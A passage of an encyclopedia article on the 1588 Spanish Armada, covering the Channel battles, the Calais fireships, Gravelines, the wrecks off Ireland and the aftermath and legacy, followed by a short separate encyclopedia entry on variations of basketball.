In the beginning of June, Parma had sent Captain Moresin with some pilots to Admiral Sedonia. Upon Moresin's return on June 22, the report he made to Farnese caused him distress. Medina Sedonia was under the impression that Farnese could simply sail out into the channel with his barges filled with troops. Parma had continually informed the king that his passage to the channel was blocked by English and Dutch ships, and the only way he could bring his boats out was if the Armada cleared the blockade.
The fleet was sighted in England on July 29, when it appeared off the Lizard in Cornwall. The news was conveyed to London by a system of beacons that had been constructed along the south coast. The same day the English fleet was trapped in Plymouth Harbour by the incoming tide. The Spanish convened a council of war, where it was proposed to ride into the harbour on the tide and incapacitate the defending ships at anchor. From Plymouth Harbour the Spanish would attack England, but Philip explicitly forbade Medina Sidonia from engaging, leaving the Armada to sail on to the east and toward the Isle of Wight. As the tide turned, 55 English ships set out to confront the Armada from Plymouth under the command of Lord Howard of Effingham, with Sir Francis Drake as vice admiral. The rear admiral was Sir John Hawkins.
Action off Plymouth
On July 30, the English fleet was off Eddystone Rocks with the Armada upwind to the west. To execute its attack, the English tacked upwind of the Armada, thus gaining the weather gage, a significant advantage. At daybreak on July 31, the English fleet engaged the Armada off Plymouth near the Eddystone Rocks. The Armada was in a crescent-shaped defensive formation, convex toward the east. The galleons and great ships were concentrated in the centre and at the tips of the crescent's horns, giving cover to the transports and supply ships in between. Opposing them, the English were in two sections, with Drake to the north in with 11 ships, and Howard to the south in with the bulk of the fleet.
Given the Spanish advantage in close-quarter fighting, the English kept beyond grappling range and bombarded the Spanish ships from a distance with cannon fire. The distance was too great for the manoeuvre to be effective and, at the end of the first day's fighting neither fleet had lost a ship in action. The English caught up with the Spanish fleet after a day of sailing.
Actions off Portland Bill and Isle of Wight
The English fleet and the Armada engaged once more on August 1, off Portland. A change of wind gave the Spanish the weather gage, and they sought to close with the English, but were foiled by the smaller ships' greater manoeuvrability. While the Spanish center manoeuvred to support the Santa Ana, the Nuestra Señora del Rosario collided with a number of ships, losing her bowsprit and setting in motion a series of mishaps. She began to drift, and was taken off by the current in the opposite direction to the fleet and closer to the English. Drake in the Revenge sailed to the Rosario during the night and she was taken in action; Admiral Pedro de Valdés (commander of the Squadron of Andalusia) surrendered along with his entire crew. On board, the English seized supplies of much-needed gunpowder and 50,000 gold ducats. Drake had been guiding the English fleet by means of a lantern, which he snuffed out to slip away from the Spanish ships, causing the rest of his fleet to become scattered and disarrayed by dawn. At one point, Howard formed his ships into a line of battle to attack at close range, bringing all his guns to bear, but he did not follow through with the maneuver and little was achieved. During a lull in battle, San Salvador'''s gunpowder magazine exploded, lighting a portion of the ship on fire. The Spanish attempted to scuttle the ship, but this failed when the Golden Hind came up. The Spanish evacuated the vessel and the Golden Hind promptly captured her.
If the Armada could create a temporary base in the protected waters of the Solent, the strait separating the Isle of Wight from the English mainland, it could wait there for word from Parma's army; Farnese did not get news of this until August 6. However, in a full-scale attack, the English fleet broke into four groups with Martin Frobisher of the ship Aid given command over a squadron, and Drake coming with a large force from the south. Medina Sidonia sent reinforcements south and ordered the Armada back to open sea to avoid the Owers shoals. There were no other secure harbours further east along England's south coast, so the Armada was compelled to make for Calais, without being able to wait for word of Parma's army.
Starting on the 1st of August Sidonia began sending Farnese messages detailing his position and movements. It was not until the following day that Alexander received the first report from the Admiral.
Fireships at Calais
On August 7, the Armada anchored off Calais in a tightly packed defensive crescent formation, not far from Dunkirk (Farnese only learned of this on that same afternoon) where Parma's army, reduced by disease to 16,000, was expected to be waiting, ready to join the fleet in barges sent from ports along the Flemish coast. An essential element of the plan of invasion, as it was eventually implemented, was the transportation of a large part of Parma's Army of Flanders as the main invasion force in unarmed barges across the English Channel. These barges would be protected by the large ships of the Armada. However, to get to the Armada, they would have to cross the zone dominated by the Dutch navy, where the Armada could not go. This problem seems to have been overlooked by the Armada commanders, but it was insurmountable. Communication was more difficult than anticipated, and word came too late that Parma's army had yet to be equipped with sufficient transport or to be assembled in the port, a process that would take at least six days. As Medina Sidonia waited at anchor, Dunkirk was blockaded by a Dutch fleet of 30 flyboats under Lieutenant-Admiral Justinus van Nassau. The Dutch flyboats mainly operated in the shallow waters off Zeeland and Flanders where larger warships with a deeper draught, like the Spanish and English galleons, could not safely enter. Parma expected the Armada to send its light pataches to drive away the Dutch, but Medina Sidonia would not send them because he feared he would need these ships for his own protection. There was no deep-water port where the fleet might shelter, which had been acknowledged as a major difficulty for the expedition, and the Spanish found themselves vulnerable as night drew on.
The Dutch enjoyed an unchallenged naval advantage in these waters, even though their navy was inferior in naval armament. Because Medina Sidonia did not attempt to break the Dutch blockade and Parma would not risk attempting the passage unescorted, the Army of Flanders escaped the trap that Van Nassau had in mind for them.
Late on August 7, Howard was reinforced by a squadron under Lord Edward Seymour and William Wynter, which had been stationed in the Downs as a reinforcement for the Dutch should Parma make any independent move. His arrival gave Howard a total of 140 ships.
In the middle of the night of August 7–8, the English set alight eight fireships, sacrificing warships by filling them with pitch, brimstone, gunpowder and tar, and cast them downwind among the closely anchored vessels of the Armada. The Spanish feared that these uncommonly large fireships were "hellburners", specialised fireships filled with large gunpowder charges that had been used to deadly effect at the Siege of Antwerp. Three were intercepted by pataches and towed away, but the remainder bore down on the fleet. Medina Sidonia's flagship and the principal warships held their positions, but the rest of the fleet cut their anchor cables and scattered in confusion. No Spanish ships were burnt, but the crescent formation had been broken, and the fleet found itself too far leeward of Calais in the rising southwesterly wind to recover its position. The English closed in for battle. Farnese learned of this the following day
Battle of Gravelines
The small port of Gravelines was part of Flanders in the Spanish Netherlands close to the border with France, and was the closest Spanish territory to England.
Before dawn on August 8, Medina Sidonia struggled to regather his fleet after the fireships scattered it, and was reluctant to sail further east than Gravelines, knowing the danger of running aground on the shoals off Flanders, from which his Dutch enemies had removed the sea marks. The English learned of the Armada's weaknesses during the skirmishes in the English Channel, and concluded it was possible to close in to within to be able to penetrate the oak hulls of the Spanish warships. They had spent most of their gunpowder in the first engagements and had, after the Isle of Wight, been forced to conserve their heavy shot and powder for an anticipated attack near Gravelines. During all the engagements, the Spanish heavy guns could not easily be reloaded because of their close spacing and the quantities of supplies stowed between decks, as Drake had discovered on capturing the Nuestra Señora del Rosario in the Channel. Instead, the Spanish gunners fired once and then transferred to their main task, which was to board enemy ships, as had been the practice in naval warfare at the time. Evidence from Armada wrecks in Ireland shows that much of the fleet's ammunition was unused. Their determination to fight by boarding, rather than employing cannon fire at a distance, proved a disadvantage for the Spanish. The manoeuver had been effective in the battles of Lepanto and Ponta Delgada earlier in the decade, but the English were aware of it and sought to avoid it by keeping their distance.
While Medina Sidonia was gathering the Armada ships together into their traditional crescent formation the English fleet moved in, and at dawn the flagship with four other ships found themselves facing the entire English fleet. The English provoked Spanish fire while staying out of range. The English then closed, firing damaging broadsides into the enemy ships, all the while maintaining a windward position, so the heeling Armada hulls were exposed to damage below the water line when they changed course later. Many of the Spanish gunners were killed or wounded by the English broadsides, and the task of manning the cannon often fell to foot soldiers who did not know how to operate them. The ships were close enough for sailors on the upper decks of the English and Spanish ships to exchange musket fire. A couple of hours into the battle, a few more Armada warships closed in to form wings on either side of the five ships already under attack. After eight hours, the English ships began to run out of ammunition, and some gunners began loading objects such as chains into their cannons. Around 4 pm, the English fired their last shots and pulled back.
Five Spanish and Portuguese ships were lost: one carrack the 605 ton Maria Juan which had been part of Don Diego Flores de Valdes' Castile Squadron which had attempted to surrender to Captain Robert Crosse of the Hope, sank off Blankenberge with the loss of 275 men – the Spanish only managing to rescue a boatload of survivors. The galleass San Lorenzo, the flagship of Don Hugo de Moncada which had been holed below the waterline, was forced to run aground at Calais to avoid sinking. Howard on sight of this ordered a flotilla of ship's boats to carry her by boarding. Moncada was killed during an exchange of small arms fire: an arquebus shot to his head. The ship was then taken after murderous fighting between the crew, galley slaves and the English. The French meanwhile could do little except to watch as the ship was plundered but they opened fire to ward off the English who quickly left to join the rest of the fight. The next day the severely crippled galleon San Mateo ran aground in between Sluis and Ostend – and was taken by a combination of Dutch ships and English troops led by Francis Vere The captain Don Diego Pimmental surrendered along with the survivors of his crew. Later that day, the equally crippled San Felipe, commanded by Maestre de Campo Don Fransico de Toledo, drifted away sinking and ran aground on the island of Walcheren, from which English troops sortied from Flushing, attacked the stricken vessel, and took the crew prisoners. A Dutch force of flyboats led by Justinus van Nassau then took possession of the ship. A pinnace also ran aground by her crew to prevent her from sinking.
Many other Spanish ships were severely damaged, especially the Portuguese and some Spanish Atlantic-class galleons, including some Neapolitan galleys, which bore the brunt of the fighting during the early hours of the battle, Spanish – Nuestra Señora del Rosario, San Salvador, La María Juan; Naples – San Lorenzo; Portuguese – São Mateus, São Filipe and the Spanish plan to join with Parma's army had been frustrated.
Elizabeth's Tilbury speech
Because of the potential invasion from the Netherlands, Robert Dudley, Earl of Leicester assembled a force of 4,500 militia at West Tilbury, Essex, to defend the Thames Estuary against any incursion up-river toward London. The result of the English fireship attack and the sea battle of Gravelines had not yet reached England, so Elizabeth went to Tilbury on August 18 to review her forces, arriving on horseback in ceremonial armor to imply to the militia that she was prepared to lead them in the ensuing battle. She gave them her royal address, which survives in at least six slightly different versions. One version is as follows:
Armada in Scotland and Ireland
On the day after the battle at Gravelines, the disorganized and unmaneuverable Spanish fleet was at risk of running onto the sands of Zeeland because of the prevailing wind. The wind then changed to the south, enabling the fleet to sail north. The English ships under Howard pursued to prevent any landing on English soil, although by this time his ships were almost out of shot. On August 12, Howard called a halt to the pursuit at about the latitude of the Firth of Forth off Scotland. The only option left to the Spanish ships was to return to Spain by sailing round the north of Scotland and home via the Atlantic or the Irish Sea. As the Spanish fleet rounded Scotland it on August 20, it consisted of 110 vessels and most made it around. The San Juan de Sicilia, heavily damaged during the Gravelines engagement had struggled North and limped into Tobermory bay on the Isle of Mull on 23 September but was later destroyed by an English agent sent by Sir Francis Walsingham with most of the crew on board.
The Spanish ships were beginning to show wear from the long voyage, and some were kept together by strengthening their damaged hulls with cables. Supplies of food and water ran short. The intention would have been to keep to the west of the coasts of Scotland and Ireland, seeking the relative safety of the open sea. There being no way of accurately measuring longitude, the Spanish were not aware that the Gulf Stream was carrying them north and east as they tried to move west, and they eventually turned south much closer to the coast than they thought. Off Scotland and Ireland, the fleet ran into a series of powerful westerly winds which drove many of the damaged ships further toward the lee shore. Because so many anchors had been abandoned during the escape from the English fireships off Calais, many of the ships were incapable of securing shelter as the fleet reached the coast of Ireland and were driven onto the rocks; local inhabitants looted the ships. The late sixteenth century and especially 1588 was marked by unusually strong North Atlantic storms, perhaps associated with a high accumulation of polar ice off the coast of Greenland, a feature of the "Little Ice Age". More ships and sailors were lost to cold and stormy weather than in direct combat.
Most of the 28 ships lost in the storms were along the jagged steep rocks of the western coast of Ireland. About 5,000 men died by drowning, starvation and slaughter by local inhabitants after their ships were driven ashore on the west coasts of Scotland and Ireland. The English Lord Deputy William FitzWilliam ordered the English soldiers in Ireland to kill any Spanish prisoners, which was done on several occasions instead of asking for ransom as was common during that period. Reports of the passage of the remnants of the Spanish Armada around Ireland abound with onerous accounts of hardships and survival. One of the costliest wrecks was that of the ship Spanish galleass La Girona, which was driven on to Lacada Point in County Antrim on the night of October 26. Of the estimated 1,300 people on board, there were nine survivors. 260 bodies washed ashore, including Alonso Martínez de Leiva, knight and trece of the Order of Santiago. Captain Francisco de Cuéllar was wrecked on the coast of Ireland and gave a remarkable account of his experiences in the fleet, on the run in Ireland, defeat of an English army besieging Rosclogher castle, flight through Scotland, surviving a second shipwreck and ultimate return to Spain.
Return to Spain
Continental Europe had been anxiously awaiting news of the Armada all summer. The Spanish postmaster and Spanish agents in Rome promoted reports of Spanish victory in hopes of convincing Pope Sixtus V to release his promise of one million ducats upon landing of troops. In France, the Spanish and English ambassadors promoted contradictory narratives in the press, and a Spanish victory was incorrectly celebrated in Paris, Prague, and Venice. It was not until late August that reliable reports of the Spanish defeat arrived in major cities and were widely believed.
The first rumours of a setback for the armada began to reach Spain when news of the English fireships breaking the Spanish formation at Calais was received, but this was disbelieved. The King noted I hope God has not permitted so much evil. Nothing was heard for nearly two weeks and it wasn't until September 21 that the first of the ships of the Armada began to arrive into Spain – the first of eight limped into Coruña which included Medina Sidonia's San Martin. Over the next few days Diego Flores took 22 more into Laredo harbour and Miguel de Oquendo bought five more into the port of Guipuzcoa.
By mid-October it was becoming more apparent for the Spanish that few if any more of the remaining missing ships of the armada would return. Even in November three months after the battles through the Channel, a few Spanish ships were still attempting the journey home. One of the last, the Spanish hospital ship San Pedro El Mayor carrying some 200 sick and wounded survivors limped into Hope Cove in Devon on November 7 – the commander trying to find a suitable place to ground her. The crew were taken prisoner and the sick were treated in Bodmin and Plympton.
Aftermath
After the Duke of Parma was certain that the Armada had sailed away from the coast of Flanders and his participation in the invasion project was no longer feasible, he ordered his soldiers to disembark so as to avoid an epidemic of disease. He then assembled his Council of War to discuss what endeavours his forces could be used for before the onset of winter. In late September he divided them into three groups; one sent to the Rhine, one to remain in the coastal region and one led by Parma himself to capture Bergen-op-Zoom. There in November he was repelled with heavy losses by the Anglo-Dutch garrison, and combined with poor weather was forced to abandon the siege. An attempt to take the Dutch held island of Tholen was also repelled. From the armada campaign to Bergen, Parma's forces had lost some 10,000 men killed or dead from disease.
England and the Netherlands
Even though the Spanish armada had failed to invade England it had demonstrated its feasibility, and that the British Isles overall were vulnerable to attack.
The day after her Tilbury speech, Elizabeth ordered the army disbanded, the camp at Tilbury dissolved five days later, then discharged the navy, sending them home without pay. All the while, the costs of this defensive effort were mounting – the total was nearly £400,000 – and measures were put in motion to mitigate it. Typhus, scurvy and dysentery swept the through the crews and many died of disease and starvation after landing at Margate. For instance, of the Elizabeth Bonaventure's crew of 500, more than 200 had died and the Elizabeth Jonas had just one living from the crew that it had sailed with. Howard wrote to Burghley, it would grieve any man's heart to see them that have served so valiantly die so miserably. Hawkins also weighed in and accused Burghley "that by death, by discharging of sick men, and such like, that there may be spared something in the general pay." The men had to rely on the charity of their officers, and Howard set an example by doing what he could out of his own purse to help the sailors. Nevertheless, upwards of 3,000 perished. As a result, the Chatham Chest was set up – its purpose to help pay pensions to disabled seamen.
It took some time for the scale of the victory to be realized as news began to filter through by the end of August and beginning of September. As a result, a number of thanksgiving services were held at Cathedrals and Churches throughout England. At St Paul's Cathedral in London a series of thanksgivings took place, the first on August 30 where a sermon was preached, followed by another on September 18. As news of the full scale of the disaster came through, and also news of England's victory against Parma at Bergen-Op-Zoom, a bigger National service of thanksgiving took place on November 29. A second and final thanksgiving took place five days later which saw a royal procession of the Queen in a chariot through the streets of London. Twelve Spanish standards and other trophies which had been captured from the ships of the armada, decorated the choir of St Paul during the huge service.
The captured Spanish galleons Nuestra Señora del Rosario and the San Salvador were studied by the English. The San Salvador became known as the 'Great Spaniard' but was lost in a wreck in November 1588 off Studland. Nuestra Señora del Rosario was brought to Dartmouth. The 397 crew were taken to Torre Abbey near Torquay where they were held prisoner in a barn (today called the 'Spanish Barn') and spared execution. The Rosario was later sent to Chatham where she was dry docked and eventually sunk to support a wharf. Pedro de Valdés was held prisoner in the Tower of London for five years, until his ransom was paid by his family for his release back to Spain. He was not blamed for the loss of his ship and was appointed colonial governor of Cuba from 1602 to 1608.
The Dutch also celebrated the victory and their artists were quick to take on commemorative medals and paintings which were soon circulated within the year. The wrecked Spanish galleons San Mateo and San Felipe which had run aground were both found to be riddled with holes by cannonballs that had struck below the waterline. Both ships were too damaged to be salvaged and were therefore broken up – the cannons were used by the Dutch in nearby fortresses. The main-topmast rigging banner from the San Matteo – part of which depicts 'Christ on the Cross', was taken, hung and displayed in the choir of St Peters Church in Leiden. It now resides in the Museum De Lakenhal.
Spain
The news of the disaster brought shock and despair and the nation went into mourning. Its defeat was even more devastating because hopes of its success had been raised by false rumours. These included Drake and Howard being taken prisoner, the Isle of Wight and Plymouth taken and Parma's army even approaching London. The King took the news hard and shut himself away for days – the daily business of government was also brought to an abrupt halt. The King is claimed to have said: "I sent the Armada against men, not God's winds and waves". News of the loss of La Girona bore more despair for Philip, the loss of not only De Leiva but also his followers from almost every noble house in Spain had also drowned with him.
The number of ships lost have been debated – a detailed study by Spanish naval historian Fernandez Duro in the mid-1880s claimed that 63 in total were lost. Historian José Luis Casado Soto examined the fate of each ship creating individual dossiers and claimed that 35 ships were lost. In addition it was noted that of the 122 Armada ships that entered the English Channel, 87 returned from their voyage through the Channel and around the British isles. However these figures don't include eight that were unaccounted for. Other historians have done further research; Neil Hanson, Robert Hutchinson, Colin Martin and Geoffrey Parker all researched the Armada ships that had returned coming to the same conclusion. The overall figure of between 44 and 51 ships being lost overall – with more detailed breakdowns in the number of ships that set sail along with their fate. That figure being a third of the fleet had been sunk, captured, wrecked or scuttled. American historian Garrett Mattingly noted that only 66 ships returned to Spain, with another returning later in the year. The losses did not include the smaller vulnerable ships like the pataches and zarbas, of which around seventeen were lost. Even though most of the ships had returned, many of them were severely damaged from either the storms, and English gunfire. One hulk the Doncella sank after they had cast anchor in Santander, and the Santa Anna was accidentally burned within a few days of entering San Sebastian. In addition the severely damaged galleons San Marcos and San Francisco were broken up, the guns and the timber being sold off. As many as half of the fleet were unfit for further service and as a result a number were scuttled, broken up or left to rot.
Furthermore, Spanish sources state that no more than 11,000 perished. Philip's administrators, bureaucrats and secretaries documented, dated and filed everything that went on in all corners of the Spanish empire, and all those records are still kept in the National Archives of Spain and the Escorial. The number of men lost was extracted from the paymaster distribution lists. A detailed analysis of the human cost of the campaign reveals that 25,696 men left Coruña and 13,399 returned.
Even after arrival the men were near death from disease, as the conditions were very cramped, and most of the ships had run out of food and water. More Armada survivors later died in Spain or on hospital ships in Spanish harbours from diseases contracted during the voyage. A large number of prominent Spanish commanders also died, many after having arrived in port. Vice Admiral of the fleet and commander of the Guipuzcoa Squadron, Miguel de Oquendo suffering from battle wounds and a fever, died at Coruña two days after arriving. Another was the Biscayan squadron commander Juan Martínez de Recalde, who also succumbed the same way. The Duke of Medina Sidonia also fell ill on his return and nearly succumbed; he was not blamed by Philip, who allowed him to return home to convalesce. Hutchinson claimed that the number of survivors was just over 50% but these numbers however do not include the Portuguese, the Neapolitans and the galley slaves. while Hanson claimed that fewer than 10,000 men (38%) survived the expedition.
English Counter Armada
The following year the English with Dutch conscripts launched the Counter Armada, under Sir Francis Drake and Sir John Norris with three tasks:
Destroy the battered Spanish Atlantic fleet, which was being repaired in ports of northern Spain
Make a landing at Lisbon, Portugal and raise a revolt there against King Philip II (Philip I of Portugal) installing the pretender Dom António, Prior of Crato to the Portuguese throne
Take the Azores if possible so as to establish a permanent base.
None of the objectives were achieved. The attempt to restore the Portuguese Crown from Spain was unsuccessful, and the opportunity to strike a decisive blow against the weakened Spanish Navy was lost. The expedition depleted the financial resources of England's treasury, which had been carefully restored during the long reign of Elizabeth I, and its failure was so embarrassing that, even today, England barely acknowledges it ever happened. Through this lost opportunity, Philip was able revive his navy the very next year, sending 37 ships with 6,420 men to Brittany where they established a base of operations on the Blavet river. The English and Dutch ultimately failed to disrupt the various fleets of the Indies despite the great number of military personnel mobilized every year. Thus, Spain remained the predominant power in Europe for several decades.
Course of the war
During the course of the war, the Spanish struggled to gain control of the English Channel or stop the English intervention in Flanders or English privateer transatlantic raids. From their base in Brittany, Spanish corsairs did make several incursions on the English coast and plundered English and Dutch ships. The Spanish launched a number of small scale attacks such as the Raid on Mount's Bay in Cornwall on July 26, 1595, where over two days, Penzance, Newlyn, Mousehole, and Paul were raided and torched. Another smaller raid on Cawsand bay, also in Cornwall, took place the following year but ended in failure. In June 1596 England and the United Dutch Provinces sent a second Armada to Spain, where they seized and held Cadiz for two weeks causing economic losses, but failed to seize the treasure fleet. After this, three more armadas were sent by Spain – the second sent in 1596 (126–140 ships) was scattered by a storm, as was the third sent the following year (140 ships), with a number captured or sunk by the English fleet. The last Armada (33 ships) sent in October 1601 to Ireland, ended with the surrender at Kinsale three months later. The conflict then wound down with diminishing military actions, finally ending with the signing of the Treaty of London in August 1604.
Technological revolution
The Spanish had 117 ships to go up against 200+ English ships. The opposing forces were experienced in completely different fighting styles. The Spanish style can be studied from the Battle of Lepanto. Their tactics were to fire one cannon volley, ram and grapple the enemy ship, board, then engage in hand-to-hand combat. In contrast, the English style was taking advantage of the wind (the "weather gage") and line-to-line cannon fire from windward, which exposed the opponent ship's hull and rudder as targets. Also instilled was the use of naval cannon to damage enemy ships without the need to board. Until then, the cannon had played a supporting role to the main tactic of ramming and boarding enemy ships. The failure of the Spanish Armada vindicated the English strategy and caused a revolution in naval tactics. The English also had the advantage of fighting close to home which they could be easily and frequently get resupplied so as not to be weighed down, unlike the Armada ships which were loaded with all the materiel needed for their invasion force to wage a ground based war. Nevertheless, when the fleets actually came to blows at the battle of Gravelines, the Armada was out numbered 10:1, and during the 8-hour fight, the English managed to sink one carrack and forced two galleons, a pinnace and an armed merchant to run aground. Despite those odds, not once did the Armada turn away from a fight; each time it challenged the English fleet, the latter raised its sails to keep its distance. Furthermore, after the final engagement with the English fleet, the Spanish fleet sailed away retaining its ability to effectively wage war.
Most military historians hold that the battle of Gravelines reflected a lasting shift in the balance of naval power in favour of the English, in part because of the gap in naval technology and cannon armament which continued into the next century. In the words of historian Geoffrey Parker, by 1588, "the capital ships of the Elizabethan navy constituted the most powerful battlefleet afloat anywhere in the world". The English navy yards were leaders in technical innovation, and the captains devised new battle formations and tactics. The sleeker and more manoeuvrable full-rigged ship, with ample cannon, was one of the greatest advances of the century and permanently transformed naval warfare.
English shipwrights introduced novel designs, first demonstrated in the in 1570 and the in 1573, that allowed the ships to sail faster, manoeuvre better, and carry more and heavier guns. Whereas before warships had tried to grapple with each other so soldiers could board the enemy ship, they were able to stand off and fire broadside cannonades that could sink the vessel. English ships and seamanship had foiled the invasion. The English also benefited from Spain's unworkable strategy that required coordination between the invasion fleet and the Spanish army on shore yet didn't seem to have learned from that mistake since they attempted the same tactic in Portugal the very next year; the English army under Norris' command marching on Lisbon expecting Drake to simultaneously attack the city with his ships. The outdated design of the Spanish cannon meant that they were much slower in reloading in a close-range battle, allowing the English to take control. Spain still had numerically larger fleets, but England was catching up.
Legacy
In England, the battle was followed by the distribution of flyers, pamphlets, the striking of victory medals, and numerous joyous celebrations. The victory prompted a huge David vs Goliath propaganda offensive, and its exploitation boosted national pride which lasted for years. Elizabeth's legend persisted and grew long after her death. It also may have given heart to the Protestant cause across Europe and the belief that God was behind the Protestants. This was shown by the striking of commemorative medals that bore variations on the inscription, "1588. Flavit Jehovah et Dissipati Sunt" – with "Jehovah" in Hebrew letters ('God blew, and they are scattered'), or 'He blew with His winds, and they were scattered'. There were also more lighthearted medals struck, such as the one with the play on the words of Julius Caesar: Venit, Vidit, Fugit ('he came, he saw, he fled'). The wind that scattered the Armada has been called the Protestant Wind, a phrase also used for later invasions of England that failed.
The memory of the victory over the Armada was evoked during both the Napoleonic Wars and the Second World War, when Britain again faced a substantial danger of foreign invasion. During the Battle of Britain RAF fighter pilots attracted world attention as the "new Elizabethans". The Armada Memorial in Plymouth was constructed in 1888 to celebrate the tercentenary of the defeat of the Spanish Armada.
One of the greatest finds of the Spanish Armada was the remains of the wreck of La Girona, found by a team of Belgian divers off the coast of Portballintrae in 1968. It was the greatest treasure salvaged up until that time. Gold and silver coins, jewelry, armaments and other objects are on permanent display at the Ulster Museum (part of the National Museums of Northern Ireland) in Stranmillis in Belfast.
Historiography
For 150 years, writers relied heavily on Augustine Ryther's translation of Petruccio Ubaldini's Expeditionis Hispaniorum in Angliam vera Descriptio (A discourse concerninge the Spanishe fleete inuadinge Englande in the yeare 1588) (1590), which argued that God decisively favoured the Protestant cause. In the 17th century, William Camden additionally pointed to elements of English nationalism and the private enterprise of the sea dogs. He also emphasized that the Duke of Medina Sidonia was an incompetent seaman. In the 18th century, David Hume praised the leadership of Queen Elizabeth. However, the Whig historians, led by James A. Froude, rejected Hume's interpretation and argued that Elizabeth was vacillating and almost lost the conflict by her unwillingness to spend enough to maintain and supply the Royal Navy's fleet of ships. Scientific modern historiography came of age with the publication of two volumes of primary documents by John Knox Laughton in 1894. This enabled the leading naval scholar of the day, Julian Corbett, to reject the Whig views and turn attention to the professionalization of the Royal Navy as a critical factor. Twentieth-century historians have focused on technical issues, such as the comparative power of English and Spanish naval guns and the degree of credit for naval battle tactics that is owed to Francis Drake and Charles Howard. Inclement weather in the English Channel and on the oceans at the time has always been cited as a major factor to the outcome. Historian Knerr has reviewed the main trends in historiography over five centuries.
Notable participants
William Adams served on the Richarde Dyffylde, a resupply ship during the campaign. In 1600, he was the first Englishman to reach (and settle in) Japan via the Dutch United East India Company (VOC) becoming one of the first of few Western Samurai.
Lope de Vega, one of the key figures in the Spanish Golden Age of Baroque literature, and one of the most prolific authors in the history of literature, served in the ship San Juan during the Spanish Armada.
In popular culture
The Armada has often featured in fictional accounts of the reign of Elizabeth I. Examples are:
The Battle of Gravelines and the subsequent chase around the northern coast of Scotland form the climax of Charles Kingsley's 1855 novel Westward Ho!, which in 1925 became the first novel to be adapted into a radio drama by BBC.
The fifth episode of the BBC series Elizabeth R is an account of the defeat of the Armada.
The 2007 film Elizabeth: The Golden Age contains a heavily fictionalized retelling of the Spanish Armada and the Battle of Gravelines.
See also
Armada Memorial
Armada Tapestries
Invisible armada
The Armada Service
The English Mercurie
Notes
References
Corbett, Julian S. Drake and the Tudor Navy: With a History of the Rise of England as a Maritime Power (1898) online edition vol. 1; also online edition vol. 2
Cruikshank, Dan: Invasion: Defending Britain from Attack, Boxtree Ltd, 2002
Froude, James Anthony. The Spanish Story of the Armada, and Other Essays (1899), by a leading historian of the 1890s full text online
Kilfeather T. P.: Ireland: Graveyard of the Spanish Armada, Anvil Books Ltd, 1967
Knerr, Douglas. "Through the "Golden Mist": a Brief Overview of Armada Historiography." American Neptune 1989 49(1): 5–13.
Martin, Colin (with appendices by Wignall, Sydney): Full Fathom Five: Wrecks of the Spanish Armada (with appendices by Sydney Wignall), Viking, 1975
Parker, Geoffrey. "Why the Armada Failed." History Today 1988 38 (May): 26–33. . Summary by leading historian.
Pierson, Peter. Commander of the Armada: The Seventh Duke of Medina Sidonia. (1989). 304 pp.
Rasor, Eugene L. The Spanish Armada of 1588: Historiography and Annotated Bibliography. (1992). 277 pp.
Rodger, N. A. M. The Safeguard of the Sea: A Naval History of Britain 660–1649 vol 1 (1999) 691 pp; excerpt and text search
Rodriguez-Salgado, M. J. and Adams, Simon, eds. England, Spain, and the Gran Armada, 1585–1604 (1991) 308 pp.
Thompson, I. A. A. "The Appointment of the Duke of Medina Sidonia to the Command of the Spanish Armada", The Historical Journal, Vol. 12, No. 2. (1969), pp. 197–216. in JSTOR
Alcalá-Zamora, José N. (2004). La empresa de Inglaterra: (la "Armada invencible" : fabulación y realidad). Taravilla: Real Academia de la Historia
Further reading
Graham, Winston. The Spanish Armadas (1972; reprint 2001)
Howarth, David. The Voyage of the Armada: The Spanish Story (1981).
Kilfeather T. P. Ireland: Graveyard of the Spanish Armada (Anvil Books, 1967)
McDermott, James. England & the Spanish Armada: The Necessary Quarrel (1990)
McKee, Alexander. From Merciless Invaders: The Defeat of the Spanish Armada. Souvenir Press, London, 1963. Second edition, Grafton Books, London, 1988.
Padfield, Peter. Armada: A Celebration of the Four Hundredth Anniversary of the Defeat of the Spanish Armada, 1588–1988. Gollancz (1988).
Parker, Geoffrey Mariner's Mirror. 'The Dreadnought Revolution of Tudor England', 82 (1996): pp. 269–300.
Wernham A. B. The Return of the Armadas: the Later Years of the Elizabethan War against Spain, 1595–1603,
Whiting J. R. S. The Enterprise of England: The Spanish Armada'' (1988) Sutton Publishing (1995)
External links
The Story of the Tobermory Spanish Galleon
English translation of Francisco de Cuellar's account of his service in the Armada and on the run in Ireland
Elizabeth I and the Spanish Armada – a learning resource and teachers notes from the British Library
The story of the Armada battles with pictures from the House of Lords tapestries
Conflicts in 1588
Naval battles of the Anglo-Spanish War (1585–1604)
1588 in Europe
1588 in England
Tudor England
History of the Royal Navy
Maritime history of England
Invasions of England
Invasions by Spain
1588 in the Spanish Empire
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https://en.wikipedia.org/wiki/Variations%20of%20basketball
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Variations of basketball
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Variations of basketball are games or activities based on, or similar in origin to, the game of basketball, in which the player utilizes common basketball skills. Some are essentially identical to basketball, with only minor rules changes, while others are more distant and arguably not simple variations but distinct games. Other variations include children's games, contests or activities intended to help the player practice or reinforce skills, which may or may not have a competitive aspect. Most of the variations are played in informal settings, without the presence of referees or other officials and sometimes without strict adherence to official game rules.
Basketball variations
Main basketball variations include:
FIBA rules
NBA rules
NCAA rules
Other variations include:
Deaf basketball, basketball played by deaf people. Sign language is used to communicate whistle blows and communication between players.
Streetball (or street basketball), variation of basketball, typically played on outdoor courts and featuring significantly less formal structure and enforcement of the game's rules
Water basketball, a water sport played in a swimming pool.
Wheelchair basketball, basketball played by people with varying physical disabilities that disqualify them from playing an able-bodied sport.
Donkey basketball, variation on the standard game of basketball, played on a standard basketball court, but in which the players ride donkeys
Fantasy basketball, where players take the role of general managers (GMs) of the fantasy teams they create
Hotshot, a basketball shooting game
Piterbasket, a team sport closely resembling basketball. The game was initially created for kindergarten children, but is now played by adults and handicapped athletes. Piterbasket was created by Anatolij Nesmejanov in Saint Petersburg, Russia in 2002. In 2010 in Kaunas, Lithuania held the world's first international piterbasket match.
Rezball, short for "reservation ball," is the avidly followed Native American version of basketball, particularly a style of play specific to Native American teams of some areas.
Super Shot, a mini-basketball game found in many arcades
Different roster sizes
A competitive game of basketball can be played with as few as the team of 2-on-2, 3-on-3, 4-on-4, or 5-on-5.
Each team's roster is typically the same size, but an odd number of players may force one team to play with one less player. Sometimes the odd player will be designated as a "switch" player, so that the offensive team always has the extra player. Roster sizes above five players per team are uncommon, even in informal games, as the court generally becomes too crowded to allow movement and space to develop between players.
Three-on-three basketball remains competitively played by amateurs. FIBA has created a formalized version of three-on-three, originally known as FIBA 33 and now called 3x3 basketball.
